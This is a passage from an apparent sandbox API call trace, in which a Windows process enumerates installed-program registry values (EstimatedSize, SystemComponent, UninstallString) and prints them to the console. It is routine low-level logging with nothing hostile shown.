lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.253] __iob_func () returned 0x7fefd702a80 [0149.253] _fileno (_File=0x7fefd702ab0) returned 1 [0149.253] _errno () returned 0x204bb0 [0149.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.253] _errno () returned 0x204bb0 [0149.253] GetFileType (hFile=0x50) returned 0x1 [0149.253] lstrlenW (lpString=" ") returned 4 [0149.254] GetConsoleOutputCP () returned 0x1b5 [0149.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.254] GetConsoleOutputCP () returned 0x1b5 [0149.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.255] __iob_func () returned 0x7fefd702a80 [0149.255] _fileno (_File=0x7fefd702ab0) returned 1 [0149.255] _errno () returned 0x204bb0 [0149.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.255] _errno () returned 0x204bb0 [0149.255] GetFileType (hFile=0x50) returned 0x1 [0149.255] lstrlenW (lpString="") returned 0 [0149.255] __iob_func () returned 0x7fefd702a80 [0149.255] _fileno (_File=0x7fefd702ab0) returned 1 [0149.255] _errno () returned 0x204bb0 [0149.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.255] _errno () returned 0x204bb0 [0149.255] GetFileType (hFile=0x50) returned 0x1 [0149.255] lstrlenW (lpString="\n") returned 1 [0149.255] GetConsoleOutputCP () returned 0x1b5 [0149.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.255] GetConsoleOutputCP () returned 0x1b5 [0149.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.255] GetProcessHeap () returned 0x3c0000 [0149.255] GetProcessHeap () returned 0x3c0000 [0149.255] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.255] GetProcessHeap () returned 0x3c0000 [0149.255] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.255] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.255] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.256] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.256] GetProcessHeap () returned 0x3c0000 [0149.256] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.256] GetProcessHeap () returned 0x3c0000 [0149.256] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.256] GetProcessHeap () returned 0x3c0000 [0149.256] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.256] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x81c, pcbData=0x29f780*=0x4) returned 0x0 [0149.256] __iob_func () returned 0x7fefd702a80 [0149.256] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.256] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.256] _fileno (_File=0x7fefd702ab0) returned 1 [0149.256] _errno () returned 0x204bb0 [0149.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.256] _errno () returned 0x204bb0 [0149.256] GetFileType (hFile=0x50) returned 0x1 [0149.256] lstrlenW (lpString=" ") returned 4 [0149.256] GetConsoleOutputCP () returned 0x1b5 [0149.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.256] GetConsoleOutputCP () returned 0x1b5 [0149.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.256] lstrlenW (lpString="EstimatedSize") returned 13 [0149.256] __iob_func () returned 0x7fefd702a80 [0149.256] _fileno (_File=0x7fefd702ab0) returned 1 [0149.256] _errno () returned 0x204bb0 [0149.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.256] _errno () returned 0x204bb0 [0149.256] GetFileType (hFile=0x50) returned 0x1 [0149.257] lstrlenW (lpString="EstimatedSize") returned 13 [0149.257] GetConsoleOutputCP () returned 0x1b5 [0149.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.257] GetConsoleOutputCP () returned 0x1b5 [0149.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.257] __iob_func () returned 0x7fefd702a80 [0149.257] _fileno (_File=0x7fefd702ab0) returned 1 [0149.257] _errno () returned 0x204bb0 [0149.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.257] _errno () returned 0x204bb0 [0149.257] GetFileType (hFile=0x50) returned 0x1 [0149.257] lstrlenW (lpString=" ") returned 4 [0149.257] GetConsoleOutputCP () returned 0x1b5 [0149.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.257] GetConsoleOutputCP () returned 0x1b5 [0149.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.258] __iob_func () returned 0x7fefd702a80 [0149.258] _fileno (_File=0x7fefd702ab0) returned 1 [0149.258] _errno () returned 0x204bb0 [0149.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.258] _errno () returned 0x204bb0 [0149.258] GetFileType (hFile=0x50) returned 0x1 [0149.258] lstrlenW (lpString="REG_DWORD") returned 9 [0149.258] GetConsoleOutputCP () returned 0x1b5 [0149.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.258] GetConsoleOutputCP () returned 0x1b5 [0149.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.258] __iob_func () returned 0x7fefd702a80 [0149.258] _fileno (_File=0x7fefd702ab0) returned 1 [0149.258] _errno () returned 0x204bb0 [0149.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.258] _errno () returned 0x204bb0 [0149.258] GetFileType (hFile=0x50) returned 0x1 [0149.258] lstrlenW (lpString=" ") returned 4 [0149.258] GetConsoleOutputCP () returned 0x1b5 [0149.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.258] GetConsoleOutputCP () returned 0x1b5 [0149.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.259] __iob_func () returned 0x7fefd702a80 [0149.259] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.259] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x81c") returned 5 [0149.259] _fileno (_File=0x7fefd702ab0) returned 1 [0149.259] _errno () returned 0x204bb0 [0149.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.259] _errno () returned 0x204bb0 [0149.259] GetFileType (hFile=0x50) returned 0x1 [0149.259] lstrlenW (lpString="0x81c") returned 5 [0149.259] GetConsoleOutputCP () returned 0x1b5 [0149.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x81c", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.259] GetConsoleOutputCP () returned 0x1b5 [0149.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x81c", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x81c", lpUsedDefaultChar=0x0) returned 5 [0149.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.259] __iob_func () returned 0x7fefd702a80 [0149.259] _fileno (_File=0x7fefd702ab0) returned 1 [0149.259] _errno () returned 0x204bb0 [0149.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.259] _errno () returned 0x204bb0 [0149.259] GetFileType (hFile=0x50) returned 0x1 [0149.259] lstrlenW (lpString="\n") returned 1 [0149.260] GetConsoleOutputCP () returned 0x1b5 [0149.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.260] GetConsoleOutputCP () returned 0x1b5 [0149.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.260] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.260] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.260] GetProcessHeap () returned 0x3c0000 [0149.260] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.260] __iob_func () returned 0x7fefd702a80 [0149.260] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.260] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.260] _fileno (_File=0x7fefd702ab0) returned 1 [0149.260] _errno () returned 0x204bb0 [0149.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.260] _errno () returned 0x204bb0 [0149.260] GetFileType (hFile=0x50) returned 0x1 [0149.261] lstrlenW (lpString=" ") returned 4 [0149.261] GetConsoleOutputCP () returned 0x1b5 [0149.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.261] GetConsoleOutputCP () returned 0x1b5 [0149.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.261] lstrlenW (lpString="SystemComponent") returned 15 [0149.261] __iob_func () returned 0x7fefd702a80 [0149.261] _fileno (_File=0x7fefd702ab0) returned 1 [0149.261] _errno () returned 0x204bb0 [0149.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.261] _errno () returned 0x204bb0 [0149.261] GetFileType (hFile=0x50) returned 0x1 [0149.261] lstrlenW (lpString="SystemComponent") returned 15 [0149.261] GetConsoleOutputCP () returned 0x1b5 [0149.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.261] GetConsoleOutputCP () returned 0x1b5 [0149.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0149.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.262] __iob_func () returned 0x7fefd702a80 [0149.262] _fileno (_File=0x7fefd702ab0) returned 1 [0149.262] _errno () returned 0x204bb0 [0149.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.262] _errno () returned 0x204bb0 [0149.262] GetFileType (hFile=0x50) returned 0x1 [0149.262] lstrlenW (lpString=" ") returned 4 [0149.262] GetConsoleOutputCP () returned 0x1b5 [0149.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.262] GetConsoleOutputCP () returned 0x1b5 [0149.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.262] __iob_func () returned 0x7fefd702a80 [0149.262] _fileno (_File=0x7fefd702ab0) returned 1 [0149.262] _errno () returned 0x204bb0 [0149.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.262] _errno () returned 0x204bb0 [0149.262] GetFileType (hFile=0x50) returned 0x1 [0149.262] lstrlenW (lpString="REG_DWORD") returned 9 [0149.262] GetConsoleOutputCP () returned 0x1b5 [0149.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.263] GetConsoleOutputCP () returned 0x1b5 [0149.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.263] __iob_func () returned 0x7fefd702a80 [0149.263] _fileno (_File=0x7fefd702ab0) returned 1 [0149.263] _errno () returned 0x204bb0 [0149.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.263] _errno () returned 0x204bb0 [0149.263] GetFileType (hFile=0x50) returned 0x1 [0149.263] lstrlenW (lpString=" ") returned 4 [0149.263] GetConsoleOutputCP () returned 0x1b5 [0149.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.263] GetConsoleOutputCP () returned 0x1b5 [0149.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.263] __iob_func () returned 0x7fefd702a80 [0149.263] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.263] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.263] _fileno (_File=0x7fefd702ab0) returned 1 [0149.263] _errno () returned 0x204bb0 [0149.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.263] _errno () returned 0x204bb0 [0149.263] GetFileType (hFile=0x50) returned 0x1 [0149.264] lstrlenW (lpString="0x1") returned 3 [0149.264] GetConsoleOutputCP () returned 0x1b5 [0149.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.264] GetConsoleOutputCP () returned 0x1b5 [0149.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.264] __iob_func () returned 0x7fefd702a80 [0149.264] _fileno (_File=0x7fefd702ab0) returned 1 [0149.264] _errno () returned 0x204bb0 [0149.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.264] _errno () returned 0x204bb0 [0149.264] GetFileType (hFile=0x50) returned 0x1 [0149.264] lstrlenW (lpString="\n") returned 1 [0149.264] GetConsoleOutputCP () returned 0x1b5 [0149.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.264] GetConsoleOutputCP () returned 0x1b5 [0149.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.264] GetProcessHeap () returned 0x3c0000 [0149.265] GetProcessHeap () returned 0x3c0000 [0149.265] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.265] GetProcessHeap () returned 0x3c0000 [0149.265] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.265] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.265] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.265] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.265] GetProcessHeap () returned 0x3c0000 [0149.265] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.265] GetProcessHeap () returned 0x3c0000 [0149.265] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.265] GetProcessHeap () returned 0x3c0000 [0149.265] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.265] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.265] __iob_func () returned 0x7fefd702a80 [0149.265] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.265] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.265] _fileno (_File=0x7fefd702ab0) returned 1 [0149.265] _errno () returned 0x204bb0 [0149.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.265] _errno () returned 0x204bb0 [0149.265] GetFileType (hFile=0x50) returned 0x1 [0149.265] lstrlenW (lpString=" ") returned 4 [0149.265] GetConsoleOutputCP () returned 0x1b5 [0149.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.265] GetConsoleOutputCP () returned 0x1b5 [0149.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.265] fflush (in: 